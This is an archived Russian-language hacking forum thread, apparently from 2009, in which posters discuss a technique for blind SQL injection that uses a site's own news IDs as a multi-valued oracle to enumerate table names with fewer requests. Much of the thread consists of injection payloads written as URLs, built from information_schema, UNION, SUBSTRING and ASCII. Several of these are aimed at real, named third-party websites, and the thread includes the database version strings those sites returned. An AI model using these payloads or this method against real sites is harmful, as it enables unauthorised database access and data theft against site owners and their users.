Просмотр полной версии : Multivariant Blind SQL Inject's
Не знаю писал об этом кто-то раньше или нет, идея в общем то очевидная...
Для начала напомню суть Blind SQL - к примеру у нас есть уязвимый сайт, на лицо инъекция, но использовать
классический UNION SELECT мы не можем, так как в скрипте, к примеру, используються несколько последовательно идущих запросов с разным количеством колонок, в которые приходит наш уязвимый параметр. Чтобы получить данные из базы в этом случае обычно используеться конструкция
AND c посимвольным перебором значений:
Подбор имени первой несистемной таблицы:
index.php?id=113+
AND+1=ASCII(LOWER(SUBSTRING(
SELECT table_name FROM+information_schema.tables LIMIT 18,1),N,1))=0xXX/*
(ну понятно, N - позиция символа, 0xXX - значение)
То есть у нас есть только 2 варианта - либо символ подходит либо нет. Так же при проведении слепых инъекций обычно используют алгоритм бинарного поиска. Те перебор идет не тупо по байтам, а методом проверки вхождения перебираемого символа в диапазон, с последующим его сужением.
Еще одна полезная констукция - IN:
Проверяем существование таблиц из списка
index.php?id=113+
AND+1=
(select 1 from information_schema.tables
where table_name in ('administrators','admins','user')
Данная атака имеет существенный недостаток - для ее реализации необходимо послать серверу большое число запросов, что может привлечь внимание админа, а слишком частые запросы могут быть расценены сервером как DOS.
Но почему бы нам не использовать в качестве выводимого результата "родные" ID скрипта? Допустим у нас есть новостной сайт - с уязвимым параметром news_id. Сопоставив каждому варианту ид новости мы сможем возвращать более 2 вариантов, сократив таким образом количество запросов:
?news.php?news_id=
(select 111 from information_schema.tables where table_name = 'administrators'
union select 112 from information_schema.tables where table_name = 'admins'
union select 113 from information_schema.tables where table_name = 'users')
После чего парсим заголовки новостей и получаем наше значение.
ога,я смотрю не зря открыли доступ на чих.
да уже было на ачате это.. https://forum.antichat.ru/showpost.php?p=1047515&postcount=72
Kernet
Эмм.. кто кому куда открыл...?? :)
попугай
Ну там какбе немного подругому... У меня про чиcтый blind...
?news.php?news_id=
(select 111 from information_schema.tables where table_name = 'administrators'
union select 112 from information_schema.tables where table_name = 'admins'
union select 113 from information_schema.tables where table_name = 'users')
Не совсем понял смысл данной конструкции... именно при блинд ижекте.
Если касаться именно поиска таблички с юзерами то кажеться легче всего начинать с like '%%'
Вижу только 1 + данного метода это более нагдляднее... а если там допустим надо логин или пароль вытаскивать то тогда как?
pampom, да этот метод, как я понял для того, чтобы брутить имена таблиц в 5й ветке, а не доставать их посимвольно. Или я ошибаюсь?
да уже было на ачате это.. https://forum.antichat.ru/showpost.php?p=1047515&postcount=72
по этому поводу могу сказать что это фигня, ибо проблемы возникат не в таких ситуациях. как описал jokester, а когда проверяютс все результы($result, переменные) и если хоть один с ошибкой, то die() или что-то вроде. ТОгда метод, предложенный jokester'ом не сработает.
Код:
?news.php?news_id= (select 111 from information_schema.tables where table_name = 'administrators' union select 112 from information_schema.tables where table_name = 'admins' union select 113 from information_schema.tables where table_name = 'users')
После чего парсим заголовки новостей и получаем наше значение.
совсем не понял идеи =)
ДОпустим запрос такой:
select newcont from news where id=$id
инжект в параметре ИД.
Допустим там ещё ткая реализация что содержимое ИД куда-нить попадает и обрабатывается. Ну вобщем слепая инъекция.
в итогде, по предложенному вами методу получится:
select * from news where id=(select 111 from information_schema.tables where table_name = 'administrators'
union select 112 from information_schema.tables where table_name = 'admins'
union select 113 from information_schema.tables where table_name = 'users')
если какойто таблицы не существует, то эррор. с колумнами то же самое.
в слепой инжекции можно получить только 0 или 1, то бишь тру или фолс. Выходит, чтобы получить тру, нужно чтобы все параметры были верны.
После чего парсим заголовки новостей и получаем наше значение.
так если инъекйия блинд, то нечего и парсить будет =)
?news.php?news_id=
(select 111 from information_schema.tables where table_name = 'administrators'
union select 112 from information_schema.tables where table_name = 'admins'
union select 113 from information_schema.tables where table_name = 'users')
Я написал этот запрос чисто для примера, смысл в том что мы увеличиваем разрядность ответа, те уже не 1 или 0, а 0 +столько новостей(или чего угодно) сколько есть на сайте. Те для вытягивания данных все равно придется делать посимвольный брут, но за один запрос мы сможем узнать больше информации, соответственно нам нужно будет послать меньше запросов.
К примеру у нас есть новости "Пьяные солдаты сбили НЛО" с ид 111 и "Обама тайный брат Майкла Джексона" с ид 112. Запрос возвращает статью про Обаму соответственно наше значение 'admins'
o3,14um
>если какойто таблицы не существует, то эррор
Почему еррор? еррор здесь будет если существуют несколько...
Jokester
25.04.2009, 15:06
2 попугай
Речь не об этом
2 o3,14um
по этому поводу могу сказать что это фигня, ибо проблемы возникат не в таких ситуациях. как описал jokester, а когда проверяютс все результы($result, переменные) и если хоть один с ошибкой, то die() или что-то вроде. ТОгда метод, предложенный jokester'ом не сработает.
Вообще-то , там есть пример РЕАЛЬНОЙ скули из топика и говорить о том, что метод тепличный не приходится (но это конечно надо читать, а это не всем дано :))
если какойто таблицы не существует, то эррор. с колумнами то же самое.
попробуй потестить, или опять-же почитать про SQL
в слепой инжекции можно получить только 0 или 1, то бишь тру или фолс. Выходит, чтобы получить тру, нужно чтобы все параметры были верны.
так если инъекйия блинд, то нечего и парсить будет =)
Нет, в слепой инъекции невозможно получить вывод и только. Другие моменты, это частный случай.
2 Psi.X да, нормально, но не ново , не доработано, и уж конечно не универсально :)
Вообще-то , там есть пример РЕАЛЬНОЙ скули из топика и говорить о том, что метод тепличный не приходится (но это конечно надо читать, а это не всем дано )
Ну во-первых, твой РЕАЛЬНОЙ пример
http://presscenter.kz/index.php?show=news&id=-1+union+select+concat(0x3a3a3a3a,Version()),2,3,4, 5,6,7,8,9/*
как-то и не работает =)
Я, конечно верю, что когда-то он работал, но посмотрим даже сейчас. Там по-видимому сделали пеерстройку и теперь проверяются переменные-результы на правильность и если хоть один из них неправильный - вылазит одибка мускуля. Ну, может там и подругому, но не суть.
попробуй потестить, или опять-же почитать про SQL
ну попробовал, потестил... Я самой идеи не понял...
Вот вам слепая скуля
http://www.omjewels.com/cpCommerce/document.php?id_document=2-1
из багтрека
http://www.xakep.ru/post/47899/default.asp
Покажите пожалуйста на примере, этот метод...
Jokester
25.04.2009, 17:13
Ну во-первых, твой РЕАЛЬНОЙ пример
как-то и не работает =)
Я, конечно верю, что когда-то он работал, но посмотрим даже сейчас. Там по-видимому сделали пеерстройку и теперь проверяются переменные-результы на правильность и если хоть один из них неправильный - вылазит одибка мускуля. Ну, может там и подругому, но не суть.
мде
Этот пример до сих пор отлично работает, смотри внимательно :
5.0.19
Вот вам слепая скуля
http://www.omjewels.com/cpCommerce/document.php?id_document=2-1
из багтрека
http://www.xakep.ru/post/47899/default.asp
Покажите пожалуйста на примере, этот метод...
Это тоже не слепая скуль (мои приветы автору баги :))
http://www.omjewels.com/cpCommerce/document.php?id_document=-2+union+select+1,version(),3,4,5,6,7--
5.0.51a-community
Но дело конечно не в этом. Суть метода помоему ясна предельно, в зависимости от выполнения условия, результат будет разным. Т.е. если есть таблица 'admins' выведется новость 112, если 'users' 113, что тут непонятного?
=================
Конкретно на примере:
http://www.omjewels.com/cpCommerce/document.php?id_document=(select+1+from+informatio n_schema.tables+where+table_name=0x6C6F6C+union+se lect+2+from+information_schema.tables+where+table_ name=0x5649455753)
выводится новость 2 т.е.
http://www.omjewels.com/cpCommerce/document.php?id_document=2
Это происходит потому. что таблицы lol нет, а таблица VIEWS есть. Так понятно?
мде
Этот пример до сих пор отлично работает, смотри внимательно :
5.0.19
а, ё =) Ну это вывод в ошибке. не всегда сработает ;)
Это происходит потому. что таблицы lol нет, а таблица VIEWS есть. Так понятно?
Ога, догнал =)
Только этот метод имеет ряд недостатков...
Если 2 варианта будут верны, то ниечго не получитсяЮ да и ещё нужно смотрет что за новость...
Идея, конечно хорошая, но я, к примеру никогда не буду пользоваться этим методо=)
а чем не устороила конструкция select case?
Если 2 варианта будут верны, то ниечго не получится
Заверни конструкцию в еще один select с limit'ом
Идея, конечно хорошая, но я, к примеру никогда не буду пользоваться этим методо=)
Твое дело =) Но если есть возможность провести отаку на порядок эффективнее почему бы ей не воспользоваться:)
зы Метод какбе подразумевает автоматическое использование в скрипте, если не захарит, может напишу скриптег
Scipio
Не вкурсе насчет SELECT CASE, можешь просветить? :) Это работает только в SQL SERVER?
http://www.mysql.ru/docs/man/Control_flow_functions.html
тут про кэйс
Но если есть возможность провести отаку на порядок эффективнее почему бы ей не воспользоваться
помоему это не эффективнее, а просто запутанней =))
Pashkela
28.04.2009, 21:15
О чем тема ваще? Бред. Смысл перетирать то, что уже давно написано до нас?:)
О чем тема ваще? Бред. Смысл перетирать то, что уже давно написано до нас?:) Не бред, просто не до конца проработано ;)
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot